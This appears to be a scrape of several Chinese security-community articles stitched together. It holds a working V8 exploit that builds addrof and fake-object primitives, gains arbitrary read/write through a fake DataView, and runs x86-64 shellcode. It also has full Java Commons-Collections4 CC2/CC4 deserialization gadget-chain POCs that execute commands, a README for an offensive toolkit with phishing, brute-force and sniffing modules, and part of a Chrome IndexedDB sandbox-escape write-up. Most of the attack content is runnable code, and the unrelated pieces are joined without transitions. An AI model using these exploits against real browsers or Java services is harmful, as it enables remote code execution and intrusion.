print("要leak出的fake_ab_float的数组");
%DebugPrint(fake_ab_float);
fake_ab_float_addr=read_obj_addr2(fake_ab_float)+0x300+0x10;
print(fake_ab_float_addr.toString(16));
fake_ab_float_addr_f = d2u(fake_ab_float_addr / 0x100000000,fake_ab_float_addr & 0xffffffff);
print(fake_ab_float_addr_f + '\n\n\n');
arrr=[1.1,2.2,3.3,4.4];
function write_obj_addr(object){
function evil_w0() {
arrr[0] = {};
%DebugPrint(arrr);
}
for (var i = 0; i < 100000; i++) {
trigger2(arrr, function() {},1.1);
}
// print("arrr first is");
// %DebugPrint(arrr);
trigger2(arrr,evil_w0,fake_ab_float_addr_f);
}
write_obj_addr(fake_ab_float_addr_f);
print("arrr last is");
%DebugPrint(arrr);
//DataView(ArrayBuffer buffer [, 字节起始位置 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);
var evil_f = new Function("var a = 1000000");
gc();
print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];
function read_obj_addr3(object){
function evil_r3() {
arr3[0] = object;
%DebugPrint(arr3);
}
for (var i = 0; i < 100000; i++) {
trigger(arr3, function() {})
}
re=u2d(trigger(arr3,evil_r3));
return re;
}
shellcode_address_ref=read_obj_addr3(evil_f)+0x38-1;
print(shellcode_address_ref.toString(16));
function Read32(addr){
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
//fake_dv = new DataView(fake_arraybuffer,0,0x4000);
//print(fake_ab_float[4]);
//get方法的参数都是一个字节序号（不能是负数，否则会报错），表示从哪个字节开始读取。
//如果一次读取两个或两个以上字节，就必须明确数据的存储方式，到底是小端字节序还是大端字节序。
//默认情况下，DataView的get方法使用大端字节序解读数据，如果需要使用小端字节序解读，必须在get方法的第二个参数指定true。
return fake_dv.getUint32(0,true);
}
function Write32(addr,value){
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
//fake_dv = new DataView(fake_arraybuffer,0,0x4000);
//print(fake_ab_float[4]);
print("write");
fake_dv.setUint32(0,value,true);
}
shellcode_address = Read32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) * 0x100000000;;
print(shellcode_address.toString(16));
var addr = shellcode_address-1+0x60;
fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// shellcode[0] = 0x90909090;
// shellcode[1] = 0x90909090;
// shellcode[2] = 0x782fb848;
// shellcode[3] = 0x636c6163;
// shellcode[4] = 0x48500000;
// shellcode[5] = 0x73752fb8;
// shellcode[6] = 0x69622f72;
// shellcode[7] = 0x8948506e;
// shellcode[8] = 0xc03148e7;
// shellcode[9] = 0x89485750;
// shellcode[10] = 0xd23148e6;
// shellcode[11] = 0x3ac0c748;
// shellcode[12] = 0x50000030;
// shellcode[13] = 0x4944b848;
// shellcode[14] = 0x414c5053;
// shellcode[15] = 0x48503d59;
// shellcode[16] = 0x3148e289;
// shellcode[17] = 0x485250c0;
// shellcode[18] = 0xc748e289;
// shellcode[19] = 0x00003bc0;
// shellcode[20] = 0x050f00;
for(var i = 0; i < shellcode.length;i++){
var value = shellcode[i];
fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f();
#### 版本2(工具类在上面)
// leak出object的地址，即将一个object当成double读出来
function trigger(arr,callback){
var v=arr[0];
callback();
return arr[0];
}
// 将一个数当成object写进去
function trigger2(arr, callback, val) {
var v = arr[0];
callback();
arr[0] = val;
}
gc();
gc();
var ab_map_obj = [
-1.1263976280432204e+129,
3.477098183419809e-308,
6.73490047e-316,
-1.1263976280432204e+129, // use ut32.prototype replace it
-1.1263976280432204e+129,
0.0
];
gc();
gc();
var ab=new ArrayBuffer(0x20);
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());
// print("float is " + (new Int64(0x00000000082003ff)).asDouble().toString());
arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
function evil_r0() {
arr0[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr0, function() {})
}
// print(Int64.fromDouble(trigger(arr0,evil_r0)).toString(16));
re=Int64.fromDouble(trigger(arr0,evil_r0));
return re;
}
ab_proto_addr=parseInt(read_obj_addr(ab.__proto__));
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));
ab_map_obj[0x3]=new Int64(ab_proto_addr).asDouble();
ab_map_obj[0x4]=new Int64(ab_constructor_addr).asDouble();
print("要leak出的ab_map_obj的数组");
%DebugPrint(ab_map_obj);
// leak ab_map_obj的地址
arr1=[1.1,2.2,3.3,4.4];
function read_obj_addr1(object){
function evil_r1() {
arr1[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr1, function() {})
}
// print(Int64.fromDouble(trigger(arr1,evil_r1)).toString(16));
re=Int64.fromDouble(trigger(arr1,evil_r1));
// while(1);
return re;
}
// ab_map_obj_addr = read_obj_addr1(ab_map_obj);
ab_map_obj_addr = parseInt(read_obj_addr1(ab_map_obj))+0x70;
print(ab_map_obj_addr.toString(16));
ab_map_obj_addr = new Int64(ab_map_obj_addr).asDouble();
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());
gc();
gc();
var fake_ab = [
ab_map_obj_addr,
ab_map_obj_addr,
ab_map_obj_addr,
3.4766779039175e-310, /* buffer length 0x4000*/
3.477098183419809e-308,//backing store,先随便填一个数
3.477098183419809e-308
];
gc();
gc();
arr2=[1.1,2.2,3.3,4.4];
function read_obj_addr2(object){
function evil_r2() {
arr2[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr2, function() {})
}
re=Int64.fromDouble(trigger(arr2,evil_r2));
return re;
}
print("要leak出的fake_ab的数组");
%DebugPrint(fake_ab);
fake_ab_float_addr=parseInt(read_obj_addr2(fake_ab))+0x70;
print(fake_ab_float_addr.toString(16));
fake_ab_float_addr=new Int64(fake_ab_float_addr).asDouble();
arrr=[1.1,2.2,3.3,4.4];
function write_obj_addr(object){
function evil_w0() {
arrr[0] = {};
%DebugPrint(arrr);
}
for (var i = 0; i < 100000; i++) {
trigger2(arrr, function() {},1.1);
}
// print("arrr first is");
// %DebugPrint(arrr);
trigger2(arrr,evil_w0,fake_ab_float_addr);
}
write_obj_addr(fake_ab_float_addr);
print("arrr last is");
%DebugPrint(arrr);
//DataView(ArrayBuffer buffer [, 字节起始位置 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);
gc();
gc();
var evil_f = new Function("var a = 1000000");
gc();
gc();
print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];
function read_obj_addr3(object){
function evil_r3() {
arr3[0] = object;
%DebugPrint(arr3);
}
for (var i = 0; i < 100000; i++) {
trigger(arr3, function() {})
}
re=Int64.fromDouble(trigger(arr3,evil_r3));
return re;
}
shellcode_address_ref=parseInt(read_obj_addr3(evil_f))+0x38-1;
print(shellcode_address_ref.toString(16));
// while(1);
// read function code address
fake_ab[4]=new Int64(shellcode_address_ref).asDouble();
fake_ab[5]=new Int64(shellcode_address_ref).asDouble();
%DebugPrint(fake_ab);
shellcode_address = fake_dv.getFloat64(0,true);
print(Int64.fromDouble(shellcode_address).toString(16));
shellcode_address=shellcode_address+new Int64(0x5f).asDouble();
print(Int64.fromDouble(shellcode_address).toString(16));
fake_ab[4]=shellcode_address;
fake_ab[5]=shellcode_address;
%DebugPrint(fake_ab);
// while(1);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i = 0; i < shellcode.length;i++){
var value = shellcode[i];
fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f(); | 社区文章 |
## 前言
CC2和CC4都是基于`org.apache.commons:commons-collections4`上的反序列化链子
### 以前的POC修改
在这个版本中，cc包上面的LazyMap类的decorate方法没有了，但是也只是把decorate换成了lazyMap
尝试将CC6链的POC中的decorate方法换成lazyMap方法
package ysoserial.vulndemo;
/**
* 暂时对JDK没有限制，在高版本的JDK中也可以成功利用
*/
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6_POC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//仿照ysoserial中的写法，防止在本地调试的时候触发命令
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.lazyMap(innerMap, transformerChain);
//实例化
TiedMapEntry tme = new TiedMapEntry(outMap, "key");
Map expMap = new HashMap();
//将其作为key键传入
expMap.put(tme, "value");
//remove
outMap.remove("key");
//传入利用链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
byte[] bytes = barr.toByteArray();
String encode =Base64.getEncoder().encodeToString(bytes);
//输出序列化字符串
System.out.println(encode);
//反序列化
byte[] decode = Base64.getDecoder().decode(encode);
System.out.println(decode);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
Object o = ois.readObject();
}
}
成功弹出了计算器，说明以前的链子在CC4.0版本中稍微修改一下就可以使用了，(其他链子自己可以试试，我没试过)
## CC2链子
### PriorityQueue
这个类就是这条链子的入口位置，对比CC4.0版本的包和以前的版本包，这个类在之前没有实现`Serializable`接口，不能进行序列化，但是在CC4.0版本包中，实现了这个接口，可以进行序列化
PriorityQueue 优先级队列是基于优先级堆（a priority
heap）的一种特殊队列，他给每个元素定义“优先级”，这样取出数据的时候会按照优先级来取。默认情况下，优先级队列会根据自然顺序对元素进行排序。
`java.util.PriorityQueue#readObject`方法中
将他的所有元素反序列化到`queue`中，调用了`heapify`方法，跟进一下
这里需要size右移一位之后减去一个1之后需要满足大于等于0才会调用`siftDown`方法
`size`的初始值为0，所以我们最少需要添加2个元素才能满足条件
好的，接下来进入`siftDown`方法
在`comparator`不为null的时候调用`siftDownUsingComparator`
之后会调用`comparator`的`compare`方法进行比较
### TransformingComparator
在这个类的compare方法中，就调用了transform方法进行转换
同样也可以发现他的构造方法
可以传入一个Transformer
### POC编写
#### POC1
既然这里调用了transformer方法，我们就可以使用`ChainedTransformer`结合`InvokerTransformer`的方法构造
package ysoserial.vulndemo;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void main(String[] args) throws Exception{
//创建 ChainedTransformer实例
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
};
ChainedTransformer chain = new ChainedTransformer(faketransformers);
//创建TranformingComparator 实例
Comparator comparator = new TransformingComparator(chain);
//创建 PriorityQueue 实例
//readobject 入口
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
在构造`PriorityQueue`对象的时候第一个参数是有要求的，跟进一下
这里的初始容量需要大于等于1才行，不然会爆出`IllegalArgumentException`错误
#### POC2
上面使用了数组的方法，如果不能使用数组该怎么办呢，在shiro反序列化中就不能使用数组执行，提到过使用`TemplatesImpl.newTransformer`的方式执行
ysoserial中的CC2链就是使用的这种方式执行任意命令
package ysoserial.vulndemo;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()
*
*/
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2_plus {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args)throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建TranformingComparator 实例
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);
//创建 PriorityQueue 实例
//readobject 入口
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(obj);
priorityQueue.add(obj);
//修改调用方法为newTransformer，加载恶意类。
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
通过InvokerTransformer直接调用了动态加载bytecodes的TemplatesImpl类的newTransformer方法，进而调用了transformer，漏洞触发
你会觉得是不是缺少个`ConstantTransformer`得到对应对象的类型(我反正有过)
其实在`TransformingComparator#compare`方法中调用transformer的时候将这个类传入了transformer，这步就类似起到了ConstantTransformer的作用，所以这里向`PriorityQueue`中添加的是TemplatesImpl类
## CC4链子
### ysoserial中的链子
在ysoserial就是CC3+CC2的结合，它不再使用`InvokerTransformer`，而是选择`InstantiateTransformer`来代替
在CC3中存在一个`TrAXFilter`
它可以直接传入一个`Templates`然后直接调用他的newTransformer方法，之后我们使用`InstantiateTransformer`来进行实例化他触发`newTransformer`方法
#### POC
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC4 {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建 ChainedTransformer实例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建TranformingComparator 实例
Comparator comparator = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, comparator);
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
### TreeBag & TreeMap
Bag 接口继承自 Collection 接口，定义了一个集合，该集合会记录对象在集合中出现的次数。它有一个子接口
SortedBag，定义了一种可以对其唯一不重复成员排序的 Bag 类型。
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据，并使用指定 Comparator 来进行排序。
TreeBag 继承自 AbstractMapBag，实现了 SortedBag 接口。初始化 TreeBag 时，会创建一个新的 TreeMap
储存在成员变量 map 里，而排序使用的 Comparator 则直接储存在 TreeMap 中。
跟进`org.apache.commons.collections4.bag.TreeBag#readObject`方法
在反序列化的时候，会将反序列化出来的`Comparator`对象传入`TreeMap`进行处理
我们跟进他的构造函数
可以传入一个`Comparator`对象，将它传入TreeMap中
通过这个TreeMap来存储对象
然后回到`readObject`方法中，接下来将调用父类的`doReadObject`方法
调用了`TreeMap`的put方法，跟进
这里调用了`compare`方法进行排序，跟进
这里同样使用了`comparator.compare`进行比较，同样我们就可以使用`TransformingComparator`来触发transformer了
#### POC
package ysoserial.vulndemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class CC4_plus {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
//创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
//使用一个无害的InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
//创建TreeBag对象
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(obj);
//更改调用方法
setFieldValue(transformer, "iMethodName", "newTransformer");
//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(treeBag);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}
使用`TemplatesImpl.newTransformer`方法触发transformer | 社区文章 |
项目地址：https://github.com/ThomasTJdev/WMD
## 大规模杀伤性武器（Weapon of Mass Destruction）
这是一款用 Python 写的安全工具集。软件封装于“模块”中。模块主要由纯 Python 代码和第三方程序组成。
## 主要功能
1) 要使用模块，运行命令 "use [module_call]"，例如使用 "use apsniff" 激活模块。 2) 可以使用 "set
[parameter] [value]" 更改模块选项。 3) 在模块内，可以用命令 "so" 查看选项。 4) 环境设置位于
core/config.ini 中。请在运行程序之前进行调整。
**截屏：**
## Web 界面
控制台运行命令“www”，激活 Flask 服务，即可在浏览器中展示模块。通过 127.0.0.1:5000 访问。
模块会直接加载到 xterm 中。
**DEV:** 可以试一下 SniffHTTP 和 APsniff 模块 - 可在浏览器中定义参数。
**Screenshot:**
## 模块列表
CAT: | TYPE: | CALL: | NAME: | DESCRIPTION:
---|---|---|---|---
bruteforce | creds | changeme | Default creds scan | Scan IP's for services
and try logging in with default credentials (Arthur: ztgrace)
bruteforce | loginpath | adminfinder | Admin Finder | A Simple script to find
admin-paths for webpages. (Arthur: Spaddex)
bruteforce | rar | bfrar | BF RAR | Bruteforce a RAR file
bruteforce | ssh | bfssh | Bruteforce SSH | Bruteforce SSH login
bruteforce | web | bfweb | Bruteforce weblogin form | Bruteforce a weblogin
form with word- and passlist
bruteforce | zip | bfzip | BF ZIP | Bruteforce a ZIP file
cracking | aut | john | John the Ripper | As you know - kill the hash
cracking | hash | hashid | Identify hash | Identify a hash
cracking | wpa | crackwpa | Crack WPA 4-way handshake | Gather WPA 4-way
handshake from accesspoint and crack it
exploit | browser | browserpwn | Browser Autopwn2 | This module will
automatically serve browser exploits (Arthur: sinn3r[at]metasploit.com)
exploit | search | exploitdb | Exploitdb | Shell-style script to search
exploit-db.com exploits. (Arthur: mattoufoutu)
mail | sin | mspoofcheck | Spoofcheck email domain | Check if a domain can be
spoofed for e.g. emailing
monitor | arp | arpmon | ARP monitor alert | Monitor ARP table and alert for
changes
monitor | ip | ipmon | IP monitor alert | Monitor IP's and alert for changes
other | settings | settings | Change settings | Change your environment
settings, e.g. interface
pentesting | niptt | sparta | SPARTA | SPARTA is a python GUI application
which simplifies network infrastructure penetration testing.
phishing | ap | etphis | Ewil Twin phishing | Create a Evil Twin and redirect
user to fake password page.
phishing | webpage | webphis | Webpage phishing | Run a local flask server
with phishing pages.
recon | dns | dig | Domain info groper | Using dig command you can query DNS
name servers for your DNS lookup related tasks
recon | dns | dnsmap | dnsmap | DNS Network Mapper. Enumeration and
bruteforcing.
recon | dns | dnsrecon | dnsrecon | Multiple DNS recon abilities.
router | framework | rsploit | Routersploit | Framework for routers with
exploits and getting creds. (Arthur: Reverse Shell Security)
scan | sin | lanscan | Lan scan | Scan local net - recon
sniff | aut | apsniff | AP sniff | Create AP and sniff HTTPS and avoid HSTS +
Beef
sniff | http | sniffhttp | Sniff HTTP | Sniff HTTP packages. Extract username
and passwords from traffic.
sniff | sin | bettercap | Bettercap | Bettercap integration for sniffing
packets and bypass HSTS and HTTPS
socialeng | instagram | instabot | Instagram bot | Instagram bot for
performing various activities (Arthur: LevPasha)
spoof | arp | arpspoof | ARP spoof | Spoofing ARP
sql | sqli | gdsqli | Gdork SQLi | Scrape net for urls and check if they are
prone to SQL injection
sql | sqli | sqlmap | SQLmap | Just an activation of SQLmap.
system | mac | macc | Macchanger | Change your MAC address
tools | search | searchht | Search hacktools | Searchengine for hackingtools
wifi | accesspoint | createap | Create an Accesspoint | Create an Accesspoint
wifi | wifi | wifiutils | WiFi utils | Utilities for WiFi, e.g. deauth,
WiFi's, clients, probes, etc.
## 运行
_**运行前：**_ _1\. 调整`core/config.ini.default` 中的环境选项。_ _2\.
将`core/config.ini.default` 重命名为 `core/config.ini`。_
开启终端: `python3 wmd.py`
使用单独的模块: `python3 wmd.py -m [CALL]`
开启 web 服务: `python3 wmd.py -w`
不检查依赖运行: `python3 wmd.py -nc`
**环境要求:**
* Linux 系统
* Python3
* Python 库的要求位于 **requirements.txt**
**可选项 tools/software/GIT:**
_这些模块需要时会通知你，并不会直接运行_
* GIT: Admin-Finder
* Aircrack-ng
* Airomon-ng
* Airodump-ng
* Airolib-ng
* Arp
* Arpspoof
* Beef
* Bettercap
* GIT: changeme
* CrackMapExec
* Create_ap
* Dig
* Dnsmap
* GIT: Dnsrecon
* GIT: Exploitdb
* GIT: Hashid
* Hostapd
* GIT: Instabot
* John the Ripper
* Nmap
* GIT: Routersploit
* SPARTA
* GIT: Spoofcheck
* GIT: XSSER
## 部署
### 项目结构
* core --> 核心文件中使用了所有的代码。
* files --> 静态文件，密码列表等。
* logs --> 用于保存日志的标准文件夹。
* modules --> 包括各种模块。
* tmp --> 你猜呢
* tools --> GIT 工具。
* www --> webserver 的文件。
#### 新模块
可以在 `modules/module_template.py` 中检查模板。
#### 添加模块
Run `python3 wmd.py -a modulePathName.py`
* * * | 社区文章 |
# 通过IndexedDB条件竞争实现Chrome沙箱逃逸（下）
|
##### 译文声明
本文是翻译文章，文章原作者 bluefrostsecurity，文章来源：labs.bluefrostsecurity.de
原文地址：<https://labs.bluefrostsecurity.de/blog/2019/08/08/escaping-the-chrome-sandbox-via-an-indexeddb-race-condition/>
译文仅供参考，具体内容表达以及含义原文为准。
接着上文，我们开始讲这个漏洞的利用。
## Exploitation
一旦我们通过竞争条件触发了UAF（free-after-free）场景，则可以绕过时间的限制，我们可以完美控制使用已释放对象的时间。
在下面部分中，我们要分享漏洞利用的目标是在Android上运行的64位版本的Chrome。 但只需稍加修改，该漏洞即可在Linux或Windows上利用。
### 构造信息泄漏
首先我们要做的事是把bug转为信息泄漏漏洞，为此我们需要将Chrome的基地址泄漏到渲染器中。 有几种方法可以完成，但我们决定使用IndexedDB
mojo接口及其回调来实现。
我们没有找到直接泄漏Chrome基地址的方法，因此我们需要触发bug两次。
#### 泄漏堆指针
我们通过分别使用两次连接（版本0，2），实现两次Open调用从而触发bug，然后调用Close和AbortTransactionsForDatabase方法来触发竞争条件并最终释放IndexedDBDatabase对象。
然后，我们可以调用CreateObjectStore方法，使用相应的对象库创建的元数据的IDB
keypath字符串，重新分配释放的IndexedDBDatabase对象。
我们可以完全控制字符串keypath的内容，并用于构造假的IndexedDBDatabase对象，同时将`pending_requests_.buffer`和`pending_requests_.capacity`字段设置为0。
如果现在我们调用Open方法，获取指向已释放的IndexedDBDatabase对象的mojo接口指针，即可对伪对象做一些操作。
调用Open只会向`pending_requests_` queue（队列）添加一个新的OpenRequest。
因为我们将buffer（缓冲区）和capacity（容量）设置为0，所以将重新分配缓冲区，并将伪对象的`pending_requests_.buffer`设置为新的堆指针，而且该指针实际上存储在keypath字符串中。
通过调用Commit（数据库事务）方法，可以将对象存储库的元数据泄漏到渲染器中。因此，我们可以轻松泄漏出指向渲染器的指针。
在这之前，我们继续在已释放的IndexedDBDatabase上调用Open方法，这可以为`pending_requests_`队列添加更多的OpenRequest指针，从而增加底层的后备缓冲区。
通过控制对Open的调用次数，我们还可以控制分配的后备缓冲区的大小。
最后我们可以通过调用Commit方法，从返回的元数据中提取出堆指针，最终泄漏出指向后备缓冲区的指针。
#### 使用对象替换堆指针内存
一旦我们获取指向`pending_requests_`的后备缓冲区的指针，我们将在释放的IndexedDBDatabase对象上继续调用几次Open方法，之后将再次重新分配后备缓冲区并且增长。
这将导致我们泄漏的堆指针被释放。
为了防止其他代码占用已泄漏指针指向的内存，需要再次调用CreateObjectStore方法，以便使用新对象库的keypath重新分配释放的后备缓冲区。
通过这点我们可以控制何时再次释放内存。
